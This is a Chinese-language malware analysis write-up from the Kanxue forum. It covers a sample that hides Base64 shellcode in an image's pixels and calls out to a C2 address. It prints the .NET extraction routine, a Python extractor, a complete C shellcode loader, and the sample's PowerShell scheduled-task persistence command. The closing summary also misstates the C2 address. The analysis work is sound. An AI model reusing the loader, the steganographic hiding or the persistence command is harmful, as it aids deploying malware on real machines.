看雪学院 09月20日
恶意软件样本分析:从Confuser加壳到Shellcode执行
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入分析了一个名为xrk1_setup.exe的恶意软件样本。该样本首先使用Confuser加壳,脱壳后发现存在混淆和反调试。通过对样本代码的分析,发现其利用图片文件(1.png)隐藏了Base64编码的Shellcode,并通过特定的算法(ExtractBase64)提取。提取出的Shellcode以E9开头,表明其为可执行代码。进一步分析显示,该Shellcode会动态解析Windows API,连接到恶意IP地址116.213.43.42,并利用PowerShell创建计划任务实现持久化,同时还会创建SyS.ini文件作为互斥体并检测杀毒软件进程。

📁 **样本初步分析与加壳检测**:文章以xrk1_setup.exe样本为起点,指出其使用了Confuser 1.x进行加壳。脱壳后,样本仍然表现出混淆和反调试的特征,增加了逆向分析的难度。样本运行过程中会生成一个名为InternetDownl.dll的DLL文件,初步判断为恶意文件。

🖼️ **图片隐藏Shellcode与提取**:通过对样本代码的深入挖掘,发现其利用了`DecodeName()`函数解析出隐藏的图片文件名为“1.png”。接着,`ExtractBase64()`函数展示了如何从该图片中提取Base64编码的Shellcode。该过程涉及遍历像素的R通道值,并将其转换为字符,最终构成Base64字符串进行解码,Python脚本被提供用于自动化此提取过程。

🌐 **Shellcode功能解析与恶意连接**:提取出的Shellcode以“E9”开头,确认其为可执行代码。Shellcode首先动态解析关键的Windows API函数,如LoadLibraryA、VirtualAlloc、WSAStartup、connect等。随后,它解密并连接到恶意IP地址116.213.43.42,为后续的网络通信和潜在的二阶段恶意软件下载做准备。

🛡️ **持久化机制与安全软件检测**:该Shellcode通过PowerShell命令创建了一个计划任务,旨在用户登录时启动`ShellcodeLoader.exe`,从而实现系统级别的持久化。此外,它还会尝试创建`C:\Users\Public\Documents\SyS.ini`文件,可能作为互斥体来防止同一恶意软件的多个实例运行,并且具备检测系统中是否存在杀毒软件进程的功能。

ZyOrca 2025-09-20 17:55 上海

看雪论坛作者ID:ZyOrca

1、样本信息

文件名: xrk1_setup.exe

SHA1: 300602f268cec6dc2c8d99d0098f6cde7f4fae97

全国律师咨询日

样本程序运行起来,生成了一个 InternetDownl.dll

该 dll 的文件信息如下,有Confuser壳 ,疑似黑 dll。

Confuser 1.x 是一款针对.NET应用程序的开源免费加壳工具

3. 黑 dll 脱壳和分析

用ConfuserEx-Unpacker-v2.0 脱一下壳

再看一下文件信息,发现虽然脱掉了壳,但还是有混淆和反调试

再用 dnspy 看一下脱壳后的文件,可以看到很明显的恶意特征

点进 DecodeName() 查看

// Loader// Token: 0x0600000F RID: 15 RVA: 0x000024B0 File Offset: 0x000006B0privatestatic T0 DecodeName<T0>(){return Encoding.UTF8.GetString(Convert.FromBase64String("MS5wbmc="));}

随便找一个在线网站对**MS5wbmc=**解码,发现是1.png

4. 解密 Payload4.1 解密算法

再找找样本程序运行时有没有这个文件,找到了

再看一下ExtractBase64() 函数

// Loader// Token: 0x0600000E RID: 14 RVA: 0x00002430 File Offset: 0x00000630privatestatic T4[] ExtractBase64<T0, T1, T2, T3, T4, T5>(T5 img){T0t= Activator.CreateInstance(typeof(T0));for (T1t2=1; t2 < img.Height; t2++)    {for (T1t3=1; t3 < img.Width; t3++)        {StringBuilderstringBuilder= t;T2pixel= img.GetPixel(t3, t2);            stringBuilder.Append((char)pixel.R);        }    }return Convert.FromBase64String(t.ToString().Replace("\0"""));}

4.2 解密 Python 脚本

根据ExtractBase64() 写一个解密的 Python 脚本

import base64from PIL import Imagedef extract_data_from_image(image_path: str) -> bytes:try:# 打开图片文件        with Image.open(image_path) as img:# 确保图片是RGB模式,以访问R通道if img.mode != 'RGB':                img = img.convert('RGB')            width, height = img.size# 用于拼接字符的列表            char_list = []# 遍历像素 (从1,1开始,与C#代码保持一致)for y in range(1, height):for x in range(1, width):# 获取(x, y)位置像素的RGB值                    r, g, b = img.getpixel((x, y))# C#代码中的 .Replace("\0", "") 相当于忽略R值为0的像素if r != 0:                        char_list.append(chr(r))# 将字符列表拼接成Base64字符串            base64_string = "".join(char_list)# 解码Base64字符串# 为防止因填充错误导致解码失败,可以尝试添加等号填充            padding_needed = len(base64_string) % 4if padding_needed:                base64_string += '=' * (4 - padding_needed)            decoded_data = base64.b64decode(base64_string)return decoded_data    except FileNotFoundError:print(f"错误: 文件 '{image_path}' 未找到。")        raise    except base64.binascii.Erroras e:print(f"Base64解码错误: {e}。从图片中提取的数据可能不是有效的Base64编码。")        raise    except Exceptionas e:print(f"处理图片时发生未知错误: {e}")        raise# --- 主程序 ---if __name__ == "__main__":    IMAGE_FILE = "1.png"# 将这里替换为您的图片文件名try:# 调用函数提取数据        shellcode = extract_data_from_image(IMAGE_FILE)# 将提取到的字节数据以十六进制格式打印出来# 这种格式在分析shellcode时更常用print(f"成功从 '{IMAGE_FILE}' 中提取数据 (shellcode):")print(shellcode.hex())# 如果需要将shellcode保存到文件        with open("extracted_shellcode.bin""wb"as f:            f.write(shellcode)print("\n已将数据保存到文件 'extracted_shellcode.bin'")    except Exception:print("未能成功提取数据。")

先安装库,pip install Pillow,让后再运行解密脚本

看到 E9 开头,应该可以确认是一个 shellcode

5. 确认恶意行为5.1 编写 shellcode 的加载器

然后再写一个加载这个 shellcode 的小程序

#define _CRT_SECURE_NO_WARNINGS#include<stdio.h>#include<stdlib.h>#include<string.h>#include<windows.h>// 包含所有Windows核心API// 函数:清理并退出程序voidcleanup_and_exit(constchar* message, HANDLE hThread, LPVOID exec_mem, unsignedchar* shellcode_bytes){if (message) {perror(message); // 打印错误信息    }if (hThread) {CloseHandle(hThread); // 关闭线程句柄    }if (exec_mem) {// 释放由VirtualAlloc分配的内存VirtualFree(exec_mem, 0, MEM_RELEASE);    }if (shellcode_bytes) {free(shellcode_bytes); // 释放为读取文件分配的堆内存    }printf("\n程序异常退出。\n");system("pause");exit(1);}intmain(){// 设置控制台输出为UTF-8编码,以正确显示中文// 65001 是 UTF-8 的代码页system("chcp 65001 > nul");char filepath[MAX_PATH];    FILE* file = NULL;long file_size = 0;unsignedchar* shellcode_bytes = NULL;    LPVOID exec_mem = NULL;    HANDLE hThread = NULL;// 1. 获取用户输入printf("================ Shellcode 加载器 ================\n");printf("请输入Shellcode文件路径: ");if (fgets(filepath, sizeof(filepath), stdin) == NULL) {cleanup_and_exit("读取输入失败"NULLNULLNULL);    }// 移除fgets读取到的末尾换行符    filepath[strcspn(filepath, "\n")] = 0;// 2. 打开并读取Shellcode文件printf("[*] 正在尝试打开文件: %s\n", filepath);    file = fopen(filepath, "rb"); // "rb" 表示以二进制只读模式打开if (file == NULL) {cleanup_and_exit("[-] 文件打开失败"NULLNULLNULL);    }// 获取文件大小fseek(file, 0, SEEK_END);    file_size = ftell(file);rewind(file); // 将文件指针重置到开头if (file_size <= 0) {fclose(file);cleanup_and_exit("[-] 文件为空或读取大小失败"NULLNULLNULL);    }printf("[+] 文件已打开,大小: %ld 字节。\n", file_size);// 分配内存以存储文件内容    shellcode_bytes = (unsignedchar*)malloc(file_size);if (shellcode_bytes == NULL) {fclose(file);cleanup_and_exit("[-] 分配内存以读取文件失败"NULLNULLNULL);    }// 将文件内容读入内存if (fread(shellcode_bytes, 1, file_size, file) != file_size) {fclose(file);cleanup_and_exit("[-] 从文件读取Shellcode失败"NULLNULL, shellcode_bytes);    }fclose(file); // 文件已读完,可以关闭了printf("[+] Shellcode已成功加载到内存中。\n");// 3. 分配可执行内存// 使用 VirtualAlloc 分配一块可读、可写、可执行的内存// 这是执行Shellcode的关键步骤printf("[*] 正在分配可执行内存...\n");    exec_mem = VirtualAlloc(NULL, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (exec_mem == NULL) {cleanup_and_exit("[-] 分配可执行内存失败"NULLNULL, shellcode_bytes);    }printf("[+] 成功分配可执行内存于地址: %p\n", exec_mem);// 4. 将Shellcode复制到可执行内存memcpy(exec_mem, shellcode_bytes, file_size);printf("[+] Shellcode已复制到可执行内存。\n");// 5. 创建新线程来执行Shellcodeprintf("[*] 正在创建线程以执行Shellcode...\n");// 将可执行内存的地址作为线程的起始地址    hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)exec_mem, NULL0NULL);if (hThread == NULL) {cleanup_and_exit("[-] 创建线程失败"NULL, exec_mem, shellcode_bytes);    }// 6. 等待Shellcode执行完毕printf("[+] 线程已创建,等待其执行完毕 (如果shellcode是阻塞式的,如反向连接,程序会在此等待)...\n");WaitForSingleObject(hThread, INFINITE); // 无限期等待,直到线程结束printf("[+] Shellcode执行完毕。\n");// 7. 清理资源printf("[*] 清理资源...\n");CloseHandle(hThread);VirtualFree(exec_mem, 0, MEM_RELEASE);free(shellcode_bytes);printf("\n==================================================\n");printf("[+] 程序执行完毕,按任意键退出。\n");system("pause > nul");return0;}

编译好后准备加载刚刚提取的 shellcode 文件**extracted_shellcode.bin****,**应该是链接到了某个 IP 地址

5.2 连接恶意 IP

可以看到连接的 IP 地址是 **116.213.43.42**

VT 和微步查看该 IP 地址的相关情报,可以看到这个地址是恶意的

shellcode 执行后先是获取系统 dll 的各个 函数地址,包括 Loadlibrary()、VirtualAlloc()、VirtualFree()、RtlCaptureContext()、GetPrivateProfileStringA()。

shellcode 在搜索"By@v<"字样执行一个内存扫描操作,目的是在1000字节的范围内找到一个硬编码的标记 "By@v<"。成功找到该标记后,Shellcode 就能定位其配置数据,为后续建立网络连接(连接到攻击者的C2服务器)、下载并执行更复杂的恶意软件做准备,在地址 0x6071c 找到了

接着 shellcode 解密出要连接的 IP 地址116.213.43.42并准备开始连接

5.3 持久化

cmdline:'powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$taskScheduler = New-Object -ComObject Schedule.Service; $taskScheduler.Connect(); $rootFolder = $taskScheduler.GetFolder(''); $taskDefinition = $taskScheduler.NewTask(0); $taskDefinition.RegistrationInfo.Description = 'My Task'; $action = $taskDefinition.Actions.Create(0); $action.Path = 'cmd.exe'; $action.Arguments = '/c "start "" /min "C:\Users\Finback\Desktop\ShellcodeLoader.exe" & exit"'; $trigger = $taskDefinition.Triggers.Create(9); '

黑 dll 利用 powershell 创建了一个计划任务,用户在登录系统时会启动 ShellcodeLoader.exe

5.4 创建 ini 文件

接着拼接文件夹路径,准备创建文件`C:\\users\\Public\\Documents\\SyS.ini`

猜测可能是Shellcode 运行时,会首先尝试创建或检查 C:\Users\Public\Documents\SyS.ini 文件。如果文件不存在,它会创建该文件,然后继续执行后续的恶意代码,起到一个互斥体的作用

5.5 检测杀软进程总结:该 Shellcode 首先通过 PEB(进程环境块)遍历来动态解析所需的 Windows API 函数地址(如 LoadLibraryA, VirtualAlloc, WSAStartup, connect, recv 等),然后解密出 IP 地址16.213.43.42 并连接,同时还检测是否存在杀软进程

看雪ID:ZyOrca

https://bbs.kanxue.com/user-home-944427.htm

*本文为看雪论坛优秀文章,由 ZyOrca原创,转载请注明来自看雪社区

1.25折门票开售

看雪·第九届安全开发者峰会(SDC 2025)

# 往期推荐

无"痕"加载驱动模块之傀儡驱动 (上)

为 CobaltStrike 增加 SMTP Beacon

隐蔽通讯常见种类介绍

buuctf-re之CTF分析

物理读写/无附加读写实验

球分享

球点赞

球在看

点击阅读原文查看更多

阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

恶意软件分析 Confuser Shellcode 图片隐藏 持久化 网络安全 Malware Analysis Confuser Shellcode Image Hiding Persistence Network Security
相关文章